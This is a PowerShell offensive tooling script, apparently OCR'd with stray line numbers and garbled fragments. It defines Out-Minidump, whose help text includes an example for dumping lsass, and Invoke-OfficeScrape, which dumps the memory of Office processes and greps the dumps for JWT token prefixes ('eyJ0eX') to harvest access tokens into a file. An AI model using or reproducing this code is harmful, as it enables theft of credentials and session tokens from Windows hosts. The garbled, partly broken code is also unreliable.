

```
J /
            TOTHE PROCESSHAME TATAMIP
 58
 59
        .EXAMPLE
 60
            Out-Minidump - Process (Get-Process - Id 4293)
 61
 62
 63
            Description
 64
            Generate a minidump for process ID 4293.
 65
 66
        .EXAMPLE
 67
 68
            Get-Process lsass | Out-Minidump
 69
 70
 71
            Description
 72
 73
            Generate a minidump for the lsass process. Note: To dump lsass, you must be
 74
            running from an elevated prompt.
 75
        .EXAMPLE
 76
 77
            Get-Process | Out-Minidump -DumpFilePath C:\temp
 78
 79
            Description
 80
 81
            Generate a minidump of all running processes and save them to C:\temp.
 82
 83
        .INPUTS
 84
 85
            System.Diagnostics.Process
 86
 87
            You can pipe a process object to Out-Minidump.
 88
 89
 90
        .OUTPUTS
 91
            System.IO.FileInfo
 92
 93
 94
        .LINK
 95
            http://www.exploit-monday.com/
 96
 97
 98
 99
100
            BEGIN
101
102
            {
                $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorRe
103
                $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
104
                $Flags = [Reflection.BindingFlags] 'NonPublic, Static'
105
                $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
106
                $MiniDumpWithFullMemory = [UInt32] 2
107
108
            }
109
            PROCESS
110
111
            {
                 Process = p
112
113
                $ProcessId = $Process.Id
                $ProcessName = $Process.Name
114
                $ProcessHandle = $Process.Handle
115
                $ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
116
117
                $ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
118
119
                $FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
120
121
                $Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,
122
123
                                                               $FileStream.SafeFileHandle,
124
                                                               $MiniDumpWithFullMemory,
125
                                                               [IntPtr]::Zero,
126
                                                               [IntPtr]::Zero,
127
                                                               [IntPtr]::Zero))
128
129
                $FileStream.Close()
130
131
```

```
132
                if (-not $Result)
133
                {
                    $Exception = New-Object ComponentModel.Win32Exception
134
                    $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
135
136
                    # Remove any partially written dump files. For example, a partial dump will
137
                    # in the case when 32-bit PowerShell tries to dump a 64-bit process.
138
139
                     Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
140
                    throw $ExceptionMessage
141
142
                }
                else
143
144
                {
                    Get-ChildItem $ProcessDumpPath
145
146
                }
147
            }
148
149
            END {}
150
        function Invoke-OfficeScrape {
151
152
         # Inspired by https://twitter.com/mrd0x/status/1571533895744606211
            [CmdletBinding()]
153
            Param (
154
                [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
155
156
                [String]
                $Proc,
157
158
159
                [Parameter()]
                [String]
160
                $Outfile
161
162
163
            # Save Memory Dump to current directory
164
            $dest = $PWD
165
166
            Write-Output "Starting Scraper"
167
168
                $Procs = Get-Process $Proc -ErrorAction SilentlyContinue #| Select -Property Re
169
170
                if ($Procs) {
                    Write-Output "Target process is running. Dumping memory..."
171
                    foreach ($p in $Procs) {
172
173
                        Out-Minidump -DumpFilePath $dest
174
175
                    $dumps = Get-ChildItem -Path $dest -Filter *.dmp | select FullName
                    foreach ($d in $dumps) {
176
                         Write-Output "Scraping memory dump: $($d.FullName)"
177
178
                         $output = select-string -Path $d.FullName -Pattern eyJ0eX
179
                         $output | out-file -append -encoding ascii $outfile
                    }
180
                }
181
                else {
182
183
                    Write-Output "Target process not running"
184
                }
185
            }
```